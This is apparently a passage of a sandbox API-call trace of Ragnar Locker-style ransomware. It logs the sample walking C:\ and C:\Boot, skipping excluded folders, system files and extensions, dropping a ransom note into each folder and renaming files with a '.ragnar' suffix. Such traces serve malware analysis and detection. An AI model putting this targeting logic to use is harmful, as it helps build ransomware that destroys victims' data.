lpFindFileData=0x1ee328*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5a1228 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Windows.old") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Tor browser") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Internet Explorer") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Google") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Opera") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Opera Software") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Mozilla") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Mozilla Firefox") returned -1 [0047.225] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="$Recycle.Bin") returned 0 [0047.225] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2=".") returned 1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2="..") returned 1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2="Windows") returned -1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2="Windows.old") returned -1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2="Tor browser") returned -1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2="Internet Explorer") returned -1 [0047.225] lstrcmpiW (lpString1="Boot", lpString2="Google") returned -1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="Opera") returned -1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="Opera Software") returned -1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="Mozilla") returned -1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="Mozilla Firefox") returned -1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="$Recycle.Bin") returned 1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="ProgramData") returned -1 [0047.226] lstrcmpiW (lpString1="Boot", lpString2="All Users") returned 1 [0047.226] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1ee120, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.226] lstrcpyW (in: lpString1=0x1ee12e, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0047.226] lstrcatW (in: lpString1="\\\\?\\C:\\Boot", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\") returned="\\\\?\\C:\\Boot\\" [0047.226] lstrcpyW (in: lpString1=0x1edf14, lpString2="\\\\?\\C:\\Boot\\" | out: lpString1="\\\\?\\C:\\Boot\\") returned="\\\\?\\C:\\Boot\\" [0047.226] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\RGNR_FD7BD9FC.txt" [0047.226] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.239] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\*.*") returned="\\\\?\\C:\\Boot\\*.*" [0047.239] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed234, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.239] lstrcpyW (in: lpString1=0x1ed02c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.239] lstrcpyW (in: lpString1=0x1ed24c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e638060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.239] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.239] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e638060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.240] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.240] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0047.240] lstrcmpiW (lpString1="BCD", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="BCD", lpString2="..") returned 1 [0047.240] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0047.240] lstrcmpiW (lpString1="BCD.LOG", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="BCD.LOG", lpString2="..") returned 1 [0047.240] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0047.240] lstrcmpiW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0047.240] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0047.240] lstrcmpiW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0047.240] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0047.240] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0047.240] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2=".") returned 1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="..") returned 1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows.old") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Tor browser") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Internet Explorer") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Google") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Opera") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Opera Software") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Mozilla") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="Mozilla Firefox") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="$Recycle.Bin") returned 1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="ProgramData") returned -1 [0047.240] lstrcmpiW (lpString1="cs-CZ", lpString2="All Users") returned 1 [0047.240] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.240] lstrcpyW (in: lpString1=0x1ed660, lpString2="cs-CZ" | out: lpString1="cs-CZ") returned="cs-CZ" [0047.241] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\") returned="\\\\?\\C:\\Boot\\cs-CZ\\" [0047.241] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\cs-CZ\\" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\") returned="\\\\?\\C:\\Boot\\cs-CZ\\" [0047.241] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\cs-CZ\\RGNR_FD7BD9FC.txt" [0047.241] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\cs-CZ\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\cs-cz\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.244] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\*.*") returned="\\\\?\\C:\\Boot\\cs-CZ\\*.*" [0047.244] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\cs-CZ\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.244] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.244] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.244] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e65e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.244] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.244] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e65e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.244] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.244] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.244] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.244] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.244] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.244] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e65e1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.244] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.244] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.244] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e65e1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.245] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e65e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.245] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e65e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.245] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\cs-CZ\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.245] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.245] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.245] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.245] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.245] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.245] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.246] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.246] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.246] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.246] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0047.246] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.246] CloseHandle (hObject=0xffffffff) returned 0 [0047.246] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0047.246] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.246] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.246] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e65e1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.246] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\cs-CZ\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.246] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.246] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\cs-CZ\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.246] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.246] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e65e1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e65e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.246] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.247] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2=".") returned 1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="..") returned 1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Windows") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Windows.old") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Tor browser") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Internet Explorer") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Google") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Opera") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Opera Software") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Mozilla") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="Mozilla Firefox") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="$Recycle.Bin") returned 1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="ProgramData") returned -1 [0047.247] lstrcmpiW (lpString1="da-DK", lpString2="All Users") returned 1 [0047.247] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.247] lstrcpyW (in: lpString1=0x1ed660, lpString2="da-DK" | out: lpString1="da-DK") returned="da-DK" [0047.247] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\da-DK", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\da-DK\\") 